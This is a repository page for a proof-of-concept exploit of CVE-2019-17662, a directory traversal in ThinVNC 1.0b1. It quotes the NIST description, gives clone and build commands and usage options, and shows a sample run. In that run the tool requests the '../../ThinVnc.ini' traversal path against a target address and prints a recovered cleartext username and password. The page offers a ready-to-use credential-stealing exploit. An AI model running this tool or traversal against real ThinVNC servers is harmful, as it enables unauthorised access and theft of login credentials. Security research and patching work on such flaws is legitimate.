CVE-2019-17662 PoC — ThinVNC 路径遍历漏洞

Description

Exploit for CVE-2019-17662 (ThinVNC 1.0b1)

Readme

<h1 align="center">CVE-2019-17662</h1>

## Description
> ThinVNC 1.0b1 is vulnerable to arbitrary file read, which leads to a compromise of the VNC server. The vulnerability exists even when authentication is turned on during the deployment of the VNC server. The password for authentication is stored in cleartext in a file that can be read via a ../../ThinVnc.ini directory traversal attack vector.
>
>  ~ [NIST](https://nvd.nist.gov/vuln/detail/CVE-2019-17662)

## How To Compile The Exploit
```bash
$ git clone https://github.com/whokilleddb/CVE-2019-17662
$ cd CVE-2019-17662
$ make
```
## Usage
```bash
$ ./bin/CVE-2019-17662 -h
[~] Usage: ./CVE-2019-17662 -u URL [-f File]

[>] Options:
OPTIONS 	Desciption
-u URL 		Base URL
-f File 	[Optional] File Name To Query (Default: ThinVnc.ini)
```

```bash
$ ./bin/CVE-2019-17662 -u http://10.10.185.214:8080/
[+] CVE-2019-17662 exploit by @whokilleddb
[o] Target : http://10.10.185.214:8080/
[x] File To Read: ThinVnc.ini
[~] Trying to Read: http://10.10.185.214:8080/abc/../../ThinVnc.ini
[:] Trying To Fetch Credentials
[-] User=Atlas
[-] Password=H0ldUpTheHe@vens
```

File Snapshot

Remarks